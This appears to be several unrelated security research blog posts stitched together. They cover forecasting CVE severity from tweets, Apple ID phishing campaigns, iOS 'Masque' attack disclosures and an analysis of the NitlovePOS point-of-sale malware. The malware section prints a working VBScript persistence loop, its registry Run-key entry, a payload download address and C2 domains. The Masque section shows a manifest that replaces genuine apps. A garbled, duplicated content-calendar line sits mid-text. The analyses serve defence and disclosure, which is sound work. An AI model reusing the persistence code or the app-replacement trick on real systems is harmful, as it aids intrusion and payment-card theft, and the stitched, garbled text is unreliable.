N-grams are word sequences, such as word pairs for 2-gram or word triples for 3-grams. In other words, they are contiguous sequence of n words from a text. After we extract these n-grams, we can represent original text as a bag-of-ngrams. Consider the sentence:

A criticial vulnerability was found in Linux.

If we consider all 2-gram features, then the bag-of-ngrams representation contains “A critical”, “critical vulnerability”, etc.

Word embeddings are a way to learn the meaning of a word by how it was used in previous contexts, and then represent that meaning in a vector space. Word embeddings know the meaning of a word by the company it keeps, more formally known as the distribution hypothesis. These word embedding representations are machine friendly, and similar words are often assigned similar representations. Word embeddings are domain specific. In our work, we additionally train terminology specific to cyber security topics, such as related words to threats are defenses, cyberrisk, cybersecurity, threat, and iot-based. The embedding would allow a classifier to implicitly combine the knowledge of similar words and the meaning of how concepts differ. Conceptually, word embeddings may help a classifier use these embeddings to implicitly associate relationships such as:

device + infected = zombie

where an entity called device has a mechanism applied called infected (malicious software infecting it) then it becomes a zombie.

To address issues where social media tweets differ linguistically from natural language, we leverage previous research and software from the Natural Language Processing (NLP) community. This addresses specific nuances like less consistent capitalization, and stemming to account for a variety of special characters like ‘@’ and ‘#’.


Figure 3: Tweet demonstrating value of identifying named entities in tweets in order to gauge severity

Named Entity Recognition (NER) identifies the words that construct nouns based on their context within a sentence, and benefits from our embeddings incorporating cyber security words. Correctly identifying the nouns using NER is important to how we parse a sentence. In Figure 3, for instance, NER facilitates Windows 10 to be understood as an entity while October 2018 is treated as elements of a date. Without this ability, the text in Figure 3 may be confused with the physical notion of windows in a building.

Once NER tokens are identified, they are used to test if a vulnerability affects them. In the Windows 10 example, Windows 10 is the entity and the classifier will predict whether the user believes there is a serious vulnerability affecting Windows 10. One prediction is made per entity, even if a tweet contains multiple entities. Filtering tweets that do not contain named entities reduces tweets to only those relevant to expressing observations on a software vulnerability.

From these normalized tweets, we can gain insight into how strongly users are emphasizing the importance of the vulnerability by observing their choice of words. The choice of adjective is instrumental in the classifier capturing the strong opinions. Twitter users often use strong adjectives and superlatives to convey magnitude in a tweet or when stressing the importance of something related to a vulnerability like in Figure 4. This magnitude often indicates to the model when a vulnerability’s exploitation is widespread. Table 1 shows our analysis of important adjectives that tend to indicate a more severe vulnerability.


Figure 4: Tweet showing strong adjective use


Table 1: Log-odds ratios for words correlated with highly-severe CVEs

Finally, the processed features are evaluated with two different classifiers to output scores to predict relevancy and severity. When a named entity is identified all words comprising it are replaced with a single token to prevent the model from biasing toward that entity. The first model uses an n-gram approach where sequences of two, three, and four tokens are input into a logistic regression model. The second approach uses a one-dimensional Convolutional Neural Network (CNN), comprised of an embedding layer, a dropout layer then a fully connected layer, to extract features from the tweets.

Evaluating Data

To evaluate the performance of our approach, we curated a dataset of 6,000 tweets containing the keywords vulnerability or ddos from Dec 2017 to July 2018. Workers on Amazon’s Mechanical Turk platform were asked to judge whether a user believed a vulnerability they were discussing was severe. For all labeling, multiple users must independently agree on a label, and multiple statistical and expert-oriented techniques are used to eliminate spurious annotations. Five annotators were used for the labels in the relevancy classifier and ten annotators were used for the severity annotation task. Heuristics were used to remove unserious respondents; for example, when users did not agree with other annotators for a majority of the tweets. A subset of tweets were expert-annotated and used to measure the quality of the remaining annotations.

Using the features extracted from tweet contents, including word embeddings and n-grams, we built a model using the annotated data from Amazon Mechanical Turk as labels. First, our model learns if tweets are relevant to a security threat using the annotated data as ground truth. This would remove a statement like “here is how you can #exploit tax loopholes” from being confused with a cyber security-related discussion about a user exploiting a software vulnerability as a malicious tool. Second, a forecasting model scores the vulnerability based on whether annotators perceived the threat to be severe.

CVSS Forecasting Results

Both the relevancy classifier and the severity classifier were applied to various datasets. Data was collected from December 2017 to July 2018. Most notably 1,000 tweets were held-out from the original 6,000 to be used for the relevancy classifier and 466 tweets were held-out for the severity classifier. To measure the performance, we use the Area Under the precision-recall Curve (AUC), which is a correctness score that summarizes the tradeoffs of minimizing the two types of errors (false positive vs false negative), with scores near 1 indicating better performance.

  • The relevancy classifier scored 0.85
  • The severity classifier using the CNN scored 0.65
  • The severity classifier using a Logistic Regression model, without embeddings, scored 0.54

Next, we evaluate how well this approach can be used to forecast CVSS ratings. In this evaluation, all tweets must occur a minimum of five days ahead of CVSS scores. The severity forecast score for a CVE is defined as the maximum severity score among the tweets which are relevant and associated with the CVE. Table 1 shows the results of three models: randomly guessing the severity, modeling based on the volume of tweets covering a CVE, and the ML-based approach described earlier in the post. The scoring metric in Table 2 is precision at top K using our logistic regression model. For example, where K=100, this is a way for us to identify what percent of the 100 most severe vulnerabilities were correctly predicted. The random model would predicted 59, while our model predicted 78 of the top 100 and all ten of the most severe vulnerabilities.


Table 2: Comparison of random simulated predictions, a model based just on quantitative features like “likes”, and the results of our model

Exploit Forecasting Results

We also measured the practical ability of our model to identify the exploitability of a CVE in the wild, since this is one of the motivating factors for tracking. To do this, we collected severe vulnerabilities that have known exploits by their presence in the following data sources:

  • Symantec Antivirus signatures
  • Symantec Intrusion Prevention System signatures
  • ExploitDB catalog

The dataset for exploit forecasting was comprised of 377,468 tweets gathered from January 2016 to November 2017. Of the 1,409 CVEs used in our forecasting evaluation, 134 publicly weaponized vulnerabilities were found across all three data sources.

Using CVEs from the aforementioned sources as ground truth, we find our CVE classification model is more predictive of detecting operationalized exploits from the vulnerabilities than CVSS. Table 3 shows precision scores illustrating seven of the top ten most severe CVEs and 21 of the top 100 vulnerabilities were found to have been exploited in the wild. Compare that to one of the top ten and 16 of the top 100 from using the CVSS score itself. The recall scores show the percentage of our 134 weaponized vulnerabilities found in our K examples. In our top ten vulnerabilities, seven were found to be in the 134 (5.2%), while the CVSS scoring’s top ten included only one (0.7%) CVE being exploited.


Table 3: Precision and recall scores for the top 10, 50 and 100 vulnerabilities when comparing CVSS scoring, our simplistic volume model and our NLP model

Conclusion

Preventing vulnerabilities is critical to an organization’s information security posture, as it effectively mitigates some cyber security breaches. In our work, we found that social media content that pre-dates CVE scoring releases can be effectively used by machine learning models to forecast vulnerability scores and prioritize vulnerabilities days before they are made available. Our approach incorporates a novel social sentiment component, which CVE scores do not, and it allows scores to better predict real-world exploitation of vulnerabilities. Finally, our approach allows for a more practical prioritization of software vulnerabilities effectively indicating the few that are likely to be weaponized by attackers. NIST has acknowledged that the current CVSS methodology is insufficient. The current process of scoring CVSS is expected to be replaced by ML-based solutions by October 2019, with limited human involvement. However, there is no indication of utilizing a social component in the scoring effort.

This work was led by researchers at Ohio State under the IARPA CAUSE program, with support from Leidos and FireEye. This work was originally presented at NAACL in June 2019, our paper describes this work in more detail and was also covered by Wired.

Rotten Apples: Apple-like Malicious Phishing Domains

At FireEye Labs we have an automated system designed to proactively detect newly registered malicious domains. This system observed some phishing domains registered in the first quarter of 2016 that were designed to appear as legitimate Apple domains. These phony Apple domains were involved in phishing attacks against Apple iCloud users in China and UK. In the past we have observed several phishing domains targeting Apple, Google and Yahoo users; however, these campaigns are unique as they are serving the same malicious phishing content from different domains to target Apple users.

Since January 2016 we have observed several phishing campaigns targeting the Apple IDs and passwords of Apple users. Apple provides all of its customers with an Apple ID, a centralized personal account that gives access to iCloud and other Apple features and services such as the iTunes Store and App Store. Users will provide their Apple ID to sign in to iCloud[.]com, and use the same Apple ID to set up iCloud on their iPhone, iPad, iPod Touch, Mac, or Windows computer.

iCloud ensures that users always have the latest versions of their important information –  including documents, photos, notes, and contacts – on all of their Apple devices. iCloud provides an easy interface to share photos, calendars, locations and more with friends and family, and even helps users find their device if they lose it. Perhaps most importantly, its iCloud Keychain feature allows user to store passwords and credit card information and have it entered automatically on their iOS devices and Mac computers.

Anyone with access to an Apple ID, password and some additional information, such as date of birth and device screen lock code, can completely take over the device and use the credit card information to impersonate the user and make purchases via the Apple Store.

This blog highlights some highly organized and sophisticated phishing attack campaigns we observed targeting Apple customers.

Campaign 1: Zycode phishing campaign targeting Apple's Chinese Customers

This phishing kit is named “zycode” after the value of a password variable embedded in the JavaScript code which all these domains serve in their HTTP responses.

The following is a list of phishing domains targeting Apple users detected by our automated system in March 2016. None of these domains are registered by Apple, nor are they pointing to Apple infrastructure:

The list shows that the attackers are attempting to mimic websites related to iTunes, iCloud and Apple ID, which are designed to lure and trick victims into submitting their Apple IDs.

Most of these domains appeared as an Apple login interface for Apple ID, iTunes and iCloud. The domains were serving highly sophisticated, obfuscated and suspicious JavaScripts, which was creating the phishing HTML content on the web page. This technique is effective against anti-phishing systems that rely on the HTML content and analyze the forms.

From March 7 to March 12, the following domains used for Apple ID phishing were observed, all of which were registered by a few entities in China using a qq[.]com email address: iCloud-Apple-apleid[.]com, Appleid-xyw[.]com, itnues-appid[.]com, AppleidApplecwy[.]com, appie-itnues[.]com, AppleidApplecwy[.]com, Appleid-xyw[.]com, Appleid-yun-iCloud[.]com, iCloud-Apple-apleid[.]com, iphone-ioslock[.]com, iphone-appdw[.]com.

From March 13 to March 20, we observed these new domains using the exact same phishing content, and having similar registrants: iCloud-Appleid-yun[.]win, iClouddd[.]top, iCloudee[.]top, iCloud-findip[.]com, iCloudhh[.]top, ioslock-Apple[.]com, ioslock-iphone[.]com, iphone-iosl0ck[.]com, lcloudmid[.]com

On March 30, we observed the following newly registered domains serving this same content: iCloud-mail-Apple[.]com, Apple-web-icluod[.]com, Apple-web-icluodid[.]com, AppleidAppleiph[.]com , icluod-web-ios[.]com and ios-web-Apple[.]com

Phishing Content and Analysis

Phishing content is usually available in the form of simple HTML, referring to images that mimic a target brand and a form to collect user credentials. Phishing detection systems look for special features within the HTML content of the page, which are used to develop detection heuristics. This campaign is unique as a simple GET request to any of these domains results in an encoded JavaScript content in the response, which does not reveal its true intention unless executed inside a web browser or a JavaScript emulator. For example, the following is a brief portion of the encoded string taken from the code.

This encoded string strHTML goes through a complex sequence of around 23 decrypting/decoding functions that include number system conversions, pseudo-random pattern modifiers followed by XOR decoding using a fixed key or password “zycode” for the actual HTML phishing content to be finally created (refer to Figure 15 and Figure 16 in Appendix 1 for complete code). Phishing detection systems that rely solely on the HTML in the response section will completely fail to detect the code generated using this technique.

Once loaded into the web browser, this obfuscated JavaScript creates an iCloud phishing page. This page is shown in Figure 1.

Figure 1: The page created by the obfuscated JavaScript as displayed in the browser

The page is created by the de-obfuscated content seen in Figure 2.

Figure 2: Deobfuscated content

Burp Suite is a tool to secure and penetrate web applications: https://portswigger[.]net/burp/.  The Burp session of a user supplying login and password to the HTML form is shown in Figure 3. Here we can see 5 variables (u,p,x,y and cc) and a cookie being sent via HTTP POST method to the page save.php.

Figure 3: Burp session

After the user enters a login and password, they are redirected and presented with the following Chinese Apple page, seen in Figure 4:  http://iClouddd[.]top/ask2.asp?MNWTK=25077126670584.html

Figure 4: Phishing page

On this page, all the links correctly point towards Apple[.]com, as can be seen in the HTML:

  * Apple <http://www.Apple[.]com/cn/>
  * <http://www.Apple[.]com/cn/shop/goto/bag>
  * Apple <http://www.Apple[.]com/cn/>
  * Mac <http://www.Apple[.]com/cn/mac/>
  * iPad <http://www.Apple[.]com/cn/ipad/>
  * iPhone <http://www.Apple[.]com/cn/iphone/>
  * Watch <http://www.Apple[.]com/cn/watch/>
  * Music <http://www.Apple[.]com/cn/music/>
  * <http://www.Apple[.]com/cn/support/>
  * Apple[.]com <http://www.Apple[.]com/cn/search>
  * <http://www.Apple[.]com/cn/shop/goto/bag>

Apple ID <https://Appleid.Apple[.]com/account/home>

  * <https://Appleid.Apple[.]com/zh_CN/signin>
  * Apple ID <https://Appleid.Apple[.]com/zh_CN/account>
  * <https://Appleid.Apple[.]com/zh_CN/#!faq>

When translated using Google Translate, the Chinese text written in the middle of the page (Figure 4) reads: “Verify your birth date or your device screen lock to continue”.

Next the user was presented with an ask3.asp webpage shown in Figure 5.

 

Figure 5: Phishing form asking for more details from victims

Translation: “Please verify your security question”

As shown in Figure 5, the page asks the user to answer three security questions, followed by redirection to an ok.asp page (Figure 6) on the same domain:

Figure 6: Successful submission phishing page

The final link points back to Apple[.]com. The complete trail using Burp suite tool is shown in Figure 7.

Figure 7: Burp session

We noticed that if the user tried to supply the same Apple ID twice, they got redirected to the page save[.]asp shown in Figure 8. Clicking OK on the popup redirected the user back to the main page.

Figure 8: Error prompt generated by phishing page

Domain Registration Information

We found that the registrant names for all of these phony Apple domains were these Chinese names: “Yu Hu” and “Wu Yan”, “Yu Fei” and “Yu Zhe”. Moreover, all these domains were registered with qq[.].com email addresses. Details are available in Table 1 below.

Table 1: Domain registration information

Looking closer at our malicious domain detection system, we observed that the system had been seeing similar domains at an increasing frequency. Analyzing the registration information, we found some interesting patterns. Since January 2016 to the time of writing, the system marked around 240 unique domains that have something to do with Apple ID, iCloud or iTunes. From these 240 domains, we identified 154 unique email registrants with 64 unique emails pointing to qq[.]com, 36 unique Gmail email accounts, and 18 unique email addresses each belonging to 163[.]com and 126[.]com, and a couple more registered with 139[.]com.

This information is vital, as it could be used in following different ways:

  • The domain list provided here could be used by Apple customers as a blacklist; they can avoid browsing to such domains and providing credentials to any of the listed domains, whether they receive them via SMS, email or via any instant messaging service.
  • The Apple credential phishing detection teams could use this information, as it highlights that all domains registered with these email addresses, registrant names and addresses, as well as their combinations, are potentially malicious and serving phishing content. This information could be used to block all future domains registered by the same entities.
  • Patterns emerging from this data reveal that for such campaigns, attackers prefer to use email addresses from Chinese services such as qq.com, 126.com and 138.com. It has also been observed that instead of names, the attackers have used numbers (such as 545454@qq[.]com and 891495200@qq[.]com) in their email addresses.
Geo-location:

As seen in Figure 9, we observed all of these domains pointing to 13 unique IP addresses distributed across the U.S. and China, suggesting that these attacks were perhaps targeting users from these regions.

Figure 9: Geo-location plot of the IPs for this campaign

Campaign 2: British Apples Gone Bad

Our email attacks research team unearthed another targeted phishing campaign against Apple users in the UK. Table 2 is a list of 86 Apple phishing domains that we observed since January 2016.

 

Figure 9: Geo-location plot of the IPs for this campaign
Phishing Content and Analysis

All of these domains have been serving the same phishing content. A simple HTTP GET (via the wget utility) to the domain’s main page reveals HTML code containing a meta-refresh redirection to the signin.php page.

A wget session is shown here:

$ wget http://manageAppleid84913[.]net

--2016-04-05 16:47:44--  http://manageAppleid84913[.]net/

Resolving manageAppleid84913[.]net (manageAppleid84913[.]net)... 109.123.121.10

Connecting to manageAppleid84913[.]net (manageAppleid84913[.]net)|109.123.121.10|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 203 [text/html]

Saving to: ‘index.html.1’

 

100%[============================================================================================================>] 203         --.-K/s   in 0s      

 

2016-04-05 16:47:44 (37.8 MB/s) - ‘index.html.1’ saved [203/203]

Content of the page is displayed here:

<meta http-equiv="refresh" content="0;URL=signin.php?c=ODcyNTA5MTJGUjU0OTYwNTQ5NDc3MTk3NTAxODE2ODYzNDgxODg2NzU3NA==&log=1&sFR=ODIxNjMzMzMxODA0NTE4MTMxNTQ5c2RmZ3M1ZjRzNjQyMDQzNjgzODcyOTU2MjU5&email=" />

 

This code redirects the browser to this URL/page:

http://manageAppleid84913[.]net/signin.php?c=OTYwNzUyNjlGUjU0OTYwNTQ5NDY0MDgxMjQ4OTQ5OTk0MTQ3MDc1NjYyOA==&log=1&sFR=ODc0MjQyNTEyNzMyODE1NTMxNTQ5c2RmZ3M1ZjRzNjQzMDU5MjUzMzg4NDMzNzE1&email=#

This loads a highly obfuscated JavaScript in the web browser that, on execution, generates the phishing HTML code at runtime to evade signature-based phishing detection systems. This is seen in Figure 17 in Appendix 2, with a deobfuscated version of the HTML code being shown in Figure 18.

This code renders in the browser to create the fake Apple ID phishing webpage seen in Figure 10, which resembles the authentic Apple page https://Appleid.Apple[.]com/.

Figure 10: Screenshot of the phishing page as seen by the victims in the browser

On submitting a fake username and password, the form gets submitted to signin-box-disabled.php and the JavaScript and jQuery creates the page seen in Figure 11, informing the user that the Apple ID provided has been locked and the user must unlock it:

Figure 11: Phishing page suggesting victims to unlock their Apple IDs

, which requests personal information such as name, date of birth, telephone numbers, addresses, credit card details and security questions, as shown in Figure 12. While filling out this form, we observed that the country part of the address drop-down menu only allowed address options from England, Scotland and Wales, suggesting that this attack is targeting these regions onlyClicking on unlock leads the user to the page profile.php .

Figure 12: User information requested by phishing page

On submitting false information on this form, the user would get a page asking to wait while the entered information is confirmed or verified. After a couple of seconds of processing, the page congratulates the user that their Apple ID was successfully unlocked (Figure 13). As seen in Figure 14, the user is then redirected to the authentic Apple page at https://Appleid.Apple[.]com/.

Figure 13: Account verification page displayed by the phishing site

Figure 14: After a successful attack, victims are redirected to the real apple login page

Domain Registration Information

It was observed that all of these domains used the whois privacy protection feature offered by many registrars. This feature enables the registrants to hide their personal and contact information which otherwise is available via the whois service. These domains were registered with the email “contact@privacyprotect[.]org

Geo-location

All these domains (Table 2) were pointing to IPs in the UK, suggesting that they were hosted in the UK.

Conclusion

Cybercriminals are targeting Apple users by launching phishing campaigns focused on stealing Apple IDs, as well as personal, financial and other information. We witnessed a high frequency of these targeted phishing attacks in the first quarter of 2016. A few phishing campaigns were particularly interesting because of their sophisticated evasion techniques (using code encoding and obfuscation), geographical targets, and because the same content was being served across multiple domains, which indicates the same phishing kits were being used.

One campaign we detected in March used sophisticated encoding/encryption techniques to evade phishing detection systems and provided a realistic looking Apple/iCloud interface. The majority of these domains were registered by individuals having email addresses pointing to Chinese services – registrant email, contact and address information points to China. Additionally, the domains were serving phony Apple webpages in Chinese, indicating that they were targeting Chinese users.

The second campaign we detected was launched against Apple users in the UK. This campaign used sophisticated evasion techniques (such as code obfuscation) to evade phishing detection systems and, whenever successful, was able to collect Apple IDs and personal and credit card information from its victims.

Organizations could use the information provided in this blog to protect their users from such sophisticated phishing campaigns by writing signatures for their phishing detection and prevention systems.

Credits and Acknowledgements

Special thanks to Yichong Lin, Jimmy Su, Mary Grace and Gaurav Dalal for their support.

Appendix 1

Figure 15: Obfuscated JavaScript served by the phishing site. In Green we have highlighted functions with: number system converters, pseudo-random pattern decoders, bit level binary operas

Figure 16: Obfuscated JS served by the phishing site. In Green we have highlighted functions with: number system converters, pseudo-random pattern decoders, bit level binary operaters. While in Red we have: XOR decoders.

Appendix 2

Figure 17: Obfuscated JavaScript content served by the site

Figure 18: Deobfuscated HTML content

For more information on phishing, please visit:

https://support.apple.com/HT203126
http://www.apple.com/legal/more-resources/phishing/
https://support.apple.com/HT204759

 

Three New Masque Attacks against iOS: Demolishing, Breaking and Hijacking

In the recent release of iOS 8.4, Apple fixed several vulnerabilities including vulnerabilities that allow attackers to deploy two new kinds of Masque Attack (CVE-2015-3722/3725, and CVE-2015-3725). We call these exploits Manifest Masque and Extension Masque, which can be used to demolish apps, including system apps (e.g., Apple Watch, Health, Pay and so on), and to break the app data container. In this blog, we also disclose the details of a previously fixed, but undisclosed, masque vulnerability: Plugin Masque, which bypasses iOS entitlement enforcement and hijacks VPN traffic. Our investigation also shows that around one third of iOS devices still have not updated to versions 8.1.3 or above, even 5 months after the release of 8.1.3, and these devices are still vulnerable to all the Masque Attacks.

We have disclosed five kinds of Masque Attacks, as shown in the following table.

Name

Consequences disclosed till now

Mitigation status

App Masque

* Replace an existing app

* Harvest sensitive data

Fixed in iOS 8.1.3 [6]

URL Masque

* Bypass prompt of trust

* Hijack inter-app communication

Partially fixed in iOS 8.1.3 [11]

Manifest Masque

* Demolish other apps (incl. Apple Watch, Health, Pay, etc.) during over-the-air installations

Partially fixed in iOS 8.4

Plugin Masque

* Bypass prompt of trust

* Bypass VPN plugin entitlement

* Replace an existing VPN plugin

* Hijack device traffic

* Prevent device from rebooting

* Exploit more kernel vulnerabilities

Fixed in iOS 8.1.3

Extension Masque

* Access another app’s data

* Or prevent another app to access its own data

Partially fixed in iOS 8.4

Manifest Masque Attack leverages the CVE-2015-3722/3725 vulnerability to demolish an existing app on iOS when a victim installs an in-house iOS app wirelessly using enterprise provisioning from a website. The demolished app (the attack target) can be either a regular app downloaded from official App Store or even an important system app, such as Apple Watch, Apple Pay, App Store, Safari, Settings, etc. This vulnerability affects all iOS 7.x and iOS 8.x versions prior to iOS 8.4. We first notified Apple of this vulnerability in August 2014.

Extension Masque Attack can break the restrictions of app data container. A malicious app extension installed along with an in-house app on iOS 8 can either gain full access to a targeted app’s data container or prevent the targeted app from accessing its own data container. On June 14, security researchers Luyi, Xiaofeng et al. disclosed several severe issues on OS X, including a similar issue with this one [5]. They did remarkable research, but happened to miss this on iOS. Their report claimed: “this security risk is not present on iOS”. However, the data container issue does affect all iOS 8.x versions prior to iOS 8.4, and can be leveraged by an attacker to steal all data in a target app’s data container. We independently discovered this vulnerability on iOS and notified Apple before the report [5] was published, and Apple fixed this issue as part of CVE-2015-3725.

In addition to these two vulnerabilities patched on iOS 8.4, we also disclose the detail of another untrusted code injection attack by replacing the VPN Plugin, the Plugin Masque Attack. We reported this vulnerability to Apple in Nov 2014, and Apple fixed the vulnerability on iOS 8.1.3 when Apple patched the original Masque Attack (App Masque) [6, 11]. However, this exploit is even more severe than the original Masque Attack. The malicious code can be injected to the neagent process and can perform privileged operations, such as monitoring all VPN traffic, without the user’s awareness. We first demonstrated this attack in the Jailbreak Security Summit [7] in April 2015. Here we categorize this attack as Plugin Masque Attack.

We will discuss the technical details and demonstrate these three kinds of Masque Attacks.

Manifest Masque: Putting On the New, Taking Off the Old

To distribute an in-house iOS app with enterprise provisioning wirelessly, one has to publish a web page containing a hyperlink that redirects to a XML manifest file hosted on an https server [1]. The XML manifest file contains metadata of the in-house app, including its bundle identifier, bundle version and the download URL of the .ipa file, as shown in Table 1. When installing the in-house iOS app wirelessly, iOS downloads this manifest file first and parse the metadata for the installation process.

<a href="itms-services://?action=downloadmanifest&url=https://example.com/manifest. plist">Install App</a>

 

<plist>

      <array>

          <dict>

             ...

             <key>url</key>

             <string>https://XXXXX.com/another_browser.ipa</string>

            ...

             <key>bundle-identifier</key>

             <string>com.google.chrome.ios</string>

             …

             <key>bundle-version</key>

             <string>1000.0</string>

           </dict>

           <dict>

              … Entries For Another App

           </dict>

       <array>

</plist>

Table 1. An example of the hyperlink and the manifest file

According to Apple’s official document [1], the bundle-identifier field should be “Your app’s bundle identifier, exactly as specified in your Xcode project”. However, we have discovered that iOS doesn’t verify the consistency between the bundle identifier in the XML manifest file on the website and the bundle identifier within the app itself. If the XML manifest file on the website has a bundle identifier equivalent to that of another genuine app on the device, and the bundle-version in the manifest is higher than the genuine app’s version, the genuine app will be demolished down to a dummy placeholder, whereas the in-house app will still be installed using its built-in bundle id. The dummy placeholder will disappear after the victim restarts the device. Also, as shown in Table 1, a manifest file can contain different apps’ metadata entries to distribute multiple apps at a time, which means this vulnerability can cause multiple apps being demolished with just one click by the victim.

By leveraging this vulnerability, one app developer can install his/her own app and demolish other apps (e.g. a competitor’s app) at the same time. In this way, attackers can perform DoS attacks or phishing attacks on iOS.

Figure 1. Phishing Attack by installing “malicious Chrome” and demolishing the genuine one

Figure 1 shows an example of the phishing attack. When the user clicks a URL in the Gmail app, this URL is rewritten with the “googlechrome-x-callback://” scheme and supposed to be handled by Chrome on the device. However, an attacker can leverage the Manifest Masque vulnerability to demolish the genuine Chrome and install “malicious Chrome” registering the same scheme. Other than requiring the same bundle identifier to replace a genuine app in the original Masque Attack [xx], the malicious chrome in this phishing attack uses a different bundle identifier to bypass the installer’s bundle identifier validation. Later, when the victim clicks a URL in the Gmail app, the malicious Chrome can take over the rewritten URL scheme and perform more sophisticated attacks.

What’s worse, an attacker can also exploit this vulnerability to demolish all system apps (e.g. Apple Watch, Apple Pay UIService, App Store, Safari, Health, InCallService, Settings, etc.). Once demolished, these system apps will no longer be available to the victim, even if the victim restarts the device.

Here we demonstrate this DoS attack on iOS 8.3 to demolish all the system apps and one App Store app (i.e. Gmail) when the victim clicks only once to install an in-house app wirelessly. Note that after rebooting the device, all the system apps still remain demolished while the App Store app would disappear since it has already been uninstalled.

June 2 6/12/2015 Consulting Thought Leadership “Proactively Engaged – Questions Executives Should Ask Their Security Teams ” “-Many breaches occur as a result of executive decisions made w/out full knowledge of the people/processes needed to prevent them; -Offers specific questions that execs should ask to understand and prevent a breach” Jim Aldridge Kyrk Content Finalized Global June 2 6/12/2015 Consulting Thought Leadership “Proactively Engaged – Questions Executives Should Ask Their Security Teams ” “-Many breaches occur as a result of executive decisions made w/out full knowledge of the people/processes needed to prevent them; -Offers specific questions that execs should ask to understand and prevent a breach” Jim Aldridge Kyrk Content Finalized GlobCaching Out: The Value of Shimcache for Investigators

NitlovePOS: Another New POS Malware

There has been a proliferation of malware specifically designed to extract payment card information from Point-of-Sale (POS) systems over the last two years. In 2015, there have already been a variety of new POS malware identified including a new Alina variant, FighterPOS and Punkey. During our research into a widespread spam campaign, we discovered yet another POS malware that we’ve named NitlovePOS.

The NitlovePOS malware can capture and ex-filtrate track one and track two payment card data by scanning the running processes of a compromised machine. It then sends this data to a webserver using SSL.

We believe the cybercriminals assess the hosts compromised via indiscriminate spam campaigns and instruct specific victims to download the POS malware.

Propagation

We have been monitoring an indiscriminate spam campaign that started on Wednesday, May 20, 2015.  The spam emails referred to possible employment opportunities and purported to have a resume attached. The “From” email addresses were spoofed Yahoo! Mail accounts and contained the following “Subject” lines:

    Subject: Any Jobs?

    Subject: Any openings?

    Subject: Internship

    Subject: Internship questions

    Subject: Internships?

    Subject: Job Posting

    Subject: Job questions

    Subject: My Resume

    Subject: Openings?

The email came with an attachment named CV_[4 numbers].doc or My_Resume_[4 numbers].doc, which is embedded with a malicious macro. To trick the recipient into enabling the malicious macro, the document claims to be a “protected document.”

If enabled, the malicious macro will download and execute a malicious executable from 80.242.123.155/exe/dro.exe. The cybercriminals behind this operation have been updating the payload. So far, we have observed:

    e6531d4c246ecf82a2fd959003d76cca  dro.exe

    600e5df303765ff73dccff1c3e37c03a  dro.exe

These payloads beacon to the same server from which they are downloaded and receive instructions to download additional malware hosted on this server. This server contains a wide variety of malware:

    6545d2528460884b24bf6d53b721bf9e  5dro.exe

    e339fce54e2ff6e9bd3a5c9fe6a214ea  AndroSpread.exe

    9e208e9d516f27fd95e8d165bd7911e8  AndroSpread.exe

    abc69e0d444536e41016754cfee3ff90  dr2o.exe

    e6531d4c246ecf82a2fd959003d76cca  dro.exe

    600e5df303765ff73dccff1c3e37c03a  dro.exe

    c8b0769eb21bb103b8fbda8ddaea2806  jews2.exe

    4d877072fd81b5b18c2c585f5a58a56e  load33.exe

    9c6398de0101e6b3811cf35de6fc7b79  load.exe

    ac8358ce51bbc7f7515e656316e23f8d  Pony.exe

    3309274e139157762b5708998d00cee0  Pony.exe

    b3962f61a4819593233aa5893421c4d1  pos.exe

    6cdd93dcb1c54a4e2b036d2e13b51216  pos.exe

We focused on the “pos.exe” malware and suspected that it maybe targeted Point of Sale machines. We speculate that once the attackers have identified a potentially interesting host form among their victims, they can then instruct the victim to download the POS malware. While we have observed many downloads of the various EXE’s hosed on that server, we have only observed three downloads of “pos.exe”.

Technical Analysis

We analyzed the “pos.exe” (6cdd93dcb1c54a4e2b036d2e13b51216) binary found on the 80.242.123.155 server. (A new version of “pos.exe” (b3962f61a4819593233aa5893421c4d1) was uploaded on May 22, 2015 that has exactly the same malicious behavior but with different file structure.)

The binary itself is named “TAPIBrowser” and was created on May 20, 2015.

    File Name                       : pos.exe

    File Size                       : 141 kB

    MD5: 6cdd93dcb1c54a4e2b036d2e13b51216

    File Type                       : Win32 EXE

    Machine Type                    : Intel 386 or later, and compatibles

    Time Stamp                      : 2015:05:20 09:02:54-07:00

    PE Type                         : PE32

    File Description                : TAPIBrowser MFC Application

    File Version                    : 1, 0, 0, 1

    Internal Name                   : TAPIBrowser

    Legal Copyright                 : Copyright (C) 2000

    Legal Trademarks                :

    Original Filename               : TAPIBrowser.EXE

    Private Build                   :

    Product Name                    : TAPIBrowser Application

    Product Version                 : 1, 0, 0, 1:

The structure of the file is awkward; it only contains three sections: .rdata, .hidata and .rsrc and the entry point located inside .hidata:

When executed, it will copy itself to disk using a well-known hiding technique via NTFS Alternate Data Streams (ADS) as:

    ~\Local Settings\Temp:defrag.scr

Then will create a vbs script and save it to disk, again using ADS:

    ~\Local Settings\Temp:defrag.vbs

By doing this, the files are not visible in the file system and therefore are more difficult to locate and detect.

Once the malware is running, the “defrag.vbs” script monitors for attempts to delete the malicious process via InstanceDeletion Event; it will re-spawn the malware if the process is terminated. Here is the code contained within “defrag.vbs”:

Set f=CreateObject("Scripting.FileSystemObject")

Set W=CreateObject("WScript.Shell")

Do While                      

GetObject("winmgmts:Win32_Process").Create(W.ExpandEnvironmentStrings("""%TMP%:Defrag.scr""     -"),n,n,p)=0

GetObject("winmgmts:\\.\root\cimv2").ExecNotificationQuery("Select * From __InstanceDeletionEvent Within 1 Where TargetInstance ISA 'Win32_Process' AND TargetInstance.ProcessID="&p).NextEvent

if(f.FileExists(WScript.ScriptFullName)=false)then

W.Run(W.ExpandEnvironmentStrings("cmd /C /D type nul > %TMP%:Defrag.scr")), 0, true

Exit Do

End If

Loop

The malware ensures that it will run after every reboot by adding itself to the Run registry key:

    \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\"Defrag" = wscript "C:\Users\ADMINI~1\AppData\Local\Temp:defrag.vbs"

NitlovePOS expects to be run with the “-“ sign as argument; otherwise it won’t perform any malicious actions. This technique can help bypass some methods of detection, particularly those that leverage automation. Here is an example of how the malware is executed:

    \LOCALS~1\Temp:Defrag.scr" -

If the right argument is provided, NitlovePOS will decode itself in memory and start searching for payment card data. If it is not successful, NitlovePOS will sleep for five minutes and restart the searching effort.

NitlovePOS has three main threads:

    Thread 1:  SSL C2 Communications

    Thread 2: MailSlot monitoring waiting for CC.

    Thread 3: Memory Scrapping

Thread 1:  C2 Communications

NitlovePOS is configured to connect to one of three hardcoded C2 servers:

    systeminfou48[.]ru

    infofinaciale8h[.]ru

    helpdesk7r[.]ru

All three of these domains resolve to the same IP address: 146.185.221.31. This IP address is assigned to a network located in St. Petersburg, Russia.

